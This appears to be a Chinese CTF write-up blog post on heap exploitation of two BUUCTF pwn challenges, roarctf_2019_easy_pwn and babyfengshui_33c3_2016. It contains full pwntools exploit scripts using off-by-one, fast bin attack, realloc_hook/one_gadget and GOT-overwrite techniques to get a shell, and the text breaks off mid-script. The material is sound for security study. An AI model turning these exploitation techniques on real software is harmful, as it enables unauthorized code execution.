2021-09-07
文章目录
- 2021-09-07
-
- roarctf_2019_easy_pwn
- babyfengshui_33c3_2016
- ciscn_2019_n_3
- gyctf_2020_borrowstack
- wustctf2020_getshell_2
- axb_2019_fmt32
- mrctf2020_easyoverflow
- bbys_tu_2016
- mrctf2020_shellcode
- [ZJCTF 2019]Login
- inndy_rop
- xdctf2015_pwn200
- PicoCTF_2018_buffer_overflow_2
- cmcc_simplerop
- wustctf2020_getshell
- picoctf_2018_buffer
- PWNABLE_ORW
- jarvisoj_test_your_memory
- bjdctf_2020_router
- hitcontraining_uaf
- bjdctf_2020_babyrop2
- [ZJCTF 2019]EasyHeap
- level3_x64
- picoctf_2018_rop chain
- jarvisoj_level4
- ciscn_2019_es_2
- ciscn_2019_s_3
- ciscn_2019_ne_5
roarctf_2019_easy_pwn
0x00 题目分析
堆题
整体功能
- 增加
- 删除
- 修改
- 输出
保护情况:
root@ubuntu:~## pwn checksec roa*
[*] '/root/roarctf_2019_easy_pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护分析(全开)
- 改写GOT不可用
- 栈溢出、PIE保护开启,需要泄露程序地址
利用分析:
- 在editnote时,存在溢出一个字节的漏洞(Off by one),可利用其修改下一堆块长度,制造堆溢出
- 有dumpnote功能,可泄露地址,利用泄露Unsorted bin去改
__malloc_hook
?
关键的漏洞点(off by one),editnote里输入内容长度后会进入一个函数检查输入
第一个if 如果堆大小大于输入的长度,那么直接返回长度
第二个if 如果堆大小小于输入的长度
并且满足input_len - heap_len == 10(输入大小-堆大小=10)返回一个堆大小+1的长度结构
0x01 利用思路
整体利用思路,结合dalao的wp(直接写入__malloc_hook是不可行的)
- 利用offbyone修改下一堆size位,实现堆叠
- 利用dump输出泄露unsorted bin地址
- 利用fast_bin_attack修改realloc_hook函数使malloc间接调用one_gadget
溢出后后面泄露Libc地址
在gdb中,输入libc
可查看libc基地址,计算固定偏移
0x02 利用EXP
内存复现:
realloc_hook
realloc_hook+8 就是 __malloc_hook
的地址
由于直接写入malloc_hook无效,那就间接调用
malloc_hook写入realloc_hook函数地址,realloc_hook写入one_gadget
↓
间接调用了one_gadget
malloc=>malloc_hook=>realloc_hook=>one_gadget(shell)
总结一下一些堆题固定的套路:
- 堆题制造堆溢出(堆叠)一般是通过一种方式修改堆头部达到欺骗libc、程序的目的
- UAF
- Off By One(null)
- Double Free
- 直接溢出
- unlink
- Getshell
- GOT可改=>利用堆溢出、堆叠更改GOT表数据
- GOT不可改=>利用泄露地址(一般是unsorted bin地址)在free后产生在堆的头部(fd、bk)处,可利用程序输出功能输出
- 泄露该地址,可使用固定偏移算出劫持函数的地址
- 劫持方法
- fast_bin_attack,利用堆溢出更改堆块fd为劫持函数地址,导致新建堆的地址成为任意控制的地址(该方法有固定的套路去过检查机制)
- 劫持函数(常用)
- 修改
__malloc_hook
地址的数据,达到劫持malloc函数地址的目的 - 修改
__realloc_hook
地址的数据,达到间接劫持malloc函数地址的目的
- 修改
- 劫持方法
- 泄露该地址,可使用固定偏移算出劫持函数的地址
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
isLocal=1
filename="/root/roarctf_2019_easy_pwn"
if isLocal:
libc=ELF("./x64/libc-2.23_buuctf.so")
p=process(filename,env={
"LD_PRELOAD" : "./libc-2.23_buuctf.so"})
else :
p=remote("node4.buuoj.cn",28414)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
def add(size):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))
def edit(index,size,data):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(index))
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('content:')
p.send(data)
def delete(index):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(index))
def show(index):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(index))
malloc_hook=libc.symbols['__malloc_hook']
realloc_hook=libc.symbols['realloc']
#gdb.attach(r,"b calloc")
add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3
#gdb.attach(r)
#pause()
edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))#off by one
#gdb.attach(r)
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check (double free or corrpation
#原始堆块2的地址是0x50偏移,off by one修改长度后,后面地址被递增,chunk2地址变成了0xC0
#0xC0-0x50=0x70(112个字节),修复chunk2的头部通过unlink的检查
#gdb.attach(r)
delete(1)
add(0x90)#idx1 chunk overlap
#重新申请chunk到index1的地址,导致堆叠(溢出修改后面chunk)
edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
delete(2)
show(1)#leak unsorted bin
p.recvuntil("content: ")
p.recv(0x20)
libc_base=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
print "libc_base:"+hex(libc_base)
add(0x80)#idx2
edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
delete(2)
edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)
#fast bin attack 修改chunk2的fd为任意地址 套路利用 0x7f过检查
"""
然后通过编辑来修改他的 fd 的内容为 main_arean - 0x23
在 malloc_hook 附近,这个偏移是为了通过 size 的检查,这样能让他有个 0x7f 的 size
"""
pause()
add(0x60)
add(0x60)#idx4 创建了fd的地址
#gdb.attach(r)
one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
edit(4,27,'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4))
"""
所以上面意思是,先把 one_gadget 写到 realloc_hook 中,
然后把 realloc_hook 写到 malloc_hook 中,
当去 malloc 的时候会先去执行 malloc_hook(这里就是 realloc_hook),
然后执行 realloc_hook 里的 one_gadget 从而拿到 shell
"""
add(0x60)#realloc
p.interactive()
babyfengshui_33c3_2016
0x00 题目分析
静态分析堆题 有增、删、改、查
保护情况
root@ubuntu:~## pwn checksec babyf*
[*] '/root/babyfengshui_33c3_2016'
Arch: i386-32-little
RELRO: Partial RELRO(可修改GOT)
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@ubuntu:~##
可以修改got,我们就不难去联想到,利用堆溢出的方法,控制堆管理布局,方法也很多
- UAF
- OBO(Off By One/Off By Null)
- Double Free
关键的漏洞点在
新建、与修改时的长度检查机制逻辑有问题
新建的堆索引只会往上加,一旦程序释放了堆块,再新建,系统内部并不是只会往新的地址去新建堆,如果条件满足,会在已释放的堆块地址进行重新利用
堆的基本结构(管理堆)
相当于你在程序使用一个Add功能,会增加2个堆,一个堆是储存地址(长度都一样),一个堆存内容
位置 | 解释 |
---|---|
ptr+index | 存放新建自定义长度堆的地址,用于存放读入内容 |
ptr+index+4 | 存放name地址 |
所以我们新建堆,再释放,再新建一个更大大小的堆,就可以制造类似于[[UAF]]的漏洞,实现堆溢出,重用了释放堆的地址,随后控制系统堆的头部内存位(size位等)
动态调试下查看ptr(.bss:0804B080)
额外函数的知识:
[[fgets]]
char *fgets(char *str, int n, FILE *stream);
从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。 [1]
0x01 利用思路
整体思路
- 制造[[UAF]],使堆地址复用(新建堆、释放堆、新建更大的堆)=>制造堆溢出(堆叠)
- 反复利用该漏洞,修改GOT表数据
这种方法也叫house of spirit
简单的说,有输出的可以使用dump输出功能输出got地址泄露libc,然后利用堆叠修改Got
0x02 利用EXP
利用代码整体思路:
原因:edit的if判断逻辑有问题+chunk释放后并不是按顺序的
就是说,程序存的堆索引只有顺序递增,但堆的地址释放与创建不是按顺序的(刚刚释放的会用回去创建)
chunk0 1 2(正常存在内存顺序储存)
free(0)
chunk3(此时索引为3,但指向的地址是原来释放chunk0的地址)
- 构造堆溢出
- 先创建3个chunk
- 释放chunk0
- 再申请一个大chunk(补位到chunk0)
- 修改大chunk内容,实现堆溢出到后门的堆块
- dump显示泄露的chunk1地址计算libc
- getshell,改chunk
理解了,自己去动态调试看了,也不会难
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="i386"
isLocal=0
filename="/root/babyfengshui_33c3_2016"
if isLocal:
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
pause()
else :
p=remote("node4.buuoj.cn",25401)
libc=ELF("./x86/libc-2.23_buuctf.so")
elf=ELF(filename)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{
{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def malloc(size,name,size_text,text):
ru("Action: ")
sl('0')
ru("size of description: ")
sl(str(size))#是无符号类型
ru("name: ")
sl(name)
ru("text length: ")
sl(str(size_text))#是无符号类型
ru("text: ")
sl(text)#是无符号类型
def free(index):
ru("Action: ")
sl('1')
ru("index: ")
sl(str(index))
def edit(index,size_text,text):
ru("Action: ")
sl('3')
ru("index: ")
sl(str(index))
ru("text length: ")
sl(str(size_text))#是无符号类型
ru("text: ")
sl(text)#是无符号类型
def dump(index):
ru("Action: ")
sl('2')
ru("index: ")
sl(str(index))
#--第一步:顺序创建
malloc(0x80,b'ch1ilkat',0x78,'aaa')
malloc(0x80,b'ch1ilkat',0x78,'ccc')
malloc(0x80,b'ch1ilkat',0x78,'/bin/sh\x00')
"""
addr prev size status fd bk
0x9c6f000 0x0 0x88 Used None None
0x9c6f088 0x0 0x88 Used None None
0x9c6f110 0x0 0x88 Used None None
0x9c6f198 0x0 0x88 Used None None
0x9c6f220 0x0 0x88 Used None None
0x9c6f2a8 0x0 0x88 Used None None
pwndbg> telescope 0x804B080
00:0000│ 0x804b080 —▸ 0x9c6f090 —▸ 0x9c6f008 ◂— 0x616161 /* 'aaa' */
01:0004│ 0x804b084 —▸ 0x9c6f1a0 —▸ 0x9c6f118 ◂— 0x636363 /* 'ccc' */
02:0008│ 0x804b088 —▸ 0x9c6f2b0 —▸ 0x9c6f228 ◂— '/bin/sh'
03:000c│ 0x804b08c ◂— 0x0
"""
free(0)
malloc(0x100,"overflows~~fly",0x98,'ddd')
"""
free(0)+创建chunk3
addr prev size status fd bk
0x9a1e000 0x0 0x110 Used None None
0x9a1e110 0x110 0x88 Used None None
0x9a1e198 0x0 0x88 Used None None
0x9a1e220 0x0 0x88 Used None None
0x9a1e2a8 0x0 0x88 Used None None
0x9a1e330 0x0 0x88 Used None None
pwndbg> telescope 0x804B080
00:0000│ 0x804b080 ◂— 0x0
01:0004│ 0x804b084 —▸ 0x9a1e1a0 —▸ 0x9a1e118 ◂— 0x636363 /* 'ccc' */
02:0008│ 0x804b088 —▸ 0x9a1e2b0 —▸ 0x9a1e228 ◂— '/bin/sh'
03:000c│ 0x804b08c —▸ 0x9a1e338 —▸ 0x9a1e008 ◂— 0x646464 /* 'ddd' */
对比:chunk3索引依旧是3,但是地址变回了chunk0用的地址(0x08偏移)
"""
"""
pwndbg> hex 0x9a1e008+408 2300
+0000 0x9a1e1a0 18 e1 a1 09 63 68 31 69 6c 6b 61 74 00 00 00 00 │....│ch1i│lkat│....│
+0010 0x9a1e1b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
计算chunk3与堆块数据地址的偏移,改数据地址指针,dump泄漏got地址
"""
"""
堆溢出修改chunk1:
pwndbg> telescope 0x804B080
00:0000│ 0x804b080 ◂— 0x0
01:0004│ 0x804b084 —▸ 0x9c261a0 —▸ 0x804b020 —▸ 0xf7db0fc0 (malloc) ◂— push edi
02:0008│ 0x804b088 —▸ 0x9c262b0 —▸ 0x9c26228 ◂— '/bin/sh'
03:000c│ 0x804b08c —▸ 0x9c26338 —▸ 0x9c26008 ◂— 0x61616161 ('aaaa')
04:0010│ 0x804b090 ◂— 0x0
"""
ptr=0x804B080
__malloc_hook=elf.got["free"]
payload=b"a"*408+p32(__malloc_hook)
edit(3